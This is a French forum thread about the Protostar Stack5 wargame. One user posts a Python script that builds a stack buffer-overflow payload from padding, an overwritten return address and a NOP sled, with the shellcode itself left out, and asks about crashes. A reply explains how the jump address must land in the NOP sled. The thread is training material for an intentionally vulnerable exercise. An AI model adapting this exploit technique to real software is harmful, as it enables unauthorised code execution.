OS : systèmes d’exploitation

samedi 12 octobre 2019, 11:36  #1
Illegal instruction buffer overflow
LeDeutsch
  • 4 posts

Salut !
Je m’amuse sur Protostar, sur le Stack5 précisément (https://exploit.education/protostar/stack-five/) mais je rencontre une interrogation. J’ai mis en place un code python pour faire un buffer overflow :

import struct

pad = "A" * 76
eip = struct.pack("I", 0xbffff7b0+8)
shellcode = "shellcode trop long pour le copier"
nop = "\x90" * 100
print pad + eip + nop + shellcode

Dans ce cas là tout fonctionne mais quand je change eip = struct.pack("I", 0xbffff7b0+8) en eip = struct.pack("I", 0xbffff7b0+4) ou une autre valeur que 4 ou 8, et bien des fois ça fonctionne, d’autres fois ça me mets un Illegal instruction ou un floating point exception.

Faut-il obligatoirement que la valeur soit 8 ou 16 ou 32 ou etc ... ? Qu’est-ce qui provoque ça ?

Merci ! :)

samedi 18 janvier 2020, 12:10  #2
Illegal instruction buffer overflow
An4s
  • 2 posts

Après ton padding eip contient l’adresse sur laquelle on va jump et donc ton 0xbffff7b0+8 doit être une addresse dans tes nop (/x90), si eip pointe sur un endroit ou y’a n’importe quoi par exemple 0xbffff7b0+180 pourrai pointer sur 0x41414141 à tout hasard 0x41 n’est pas une instruction valide d’ou ton Illegal instruction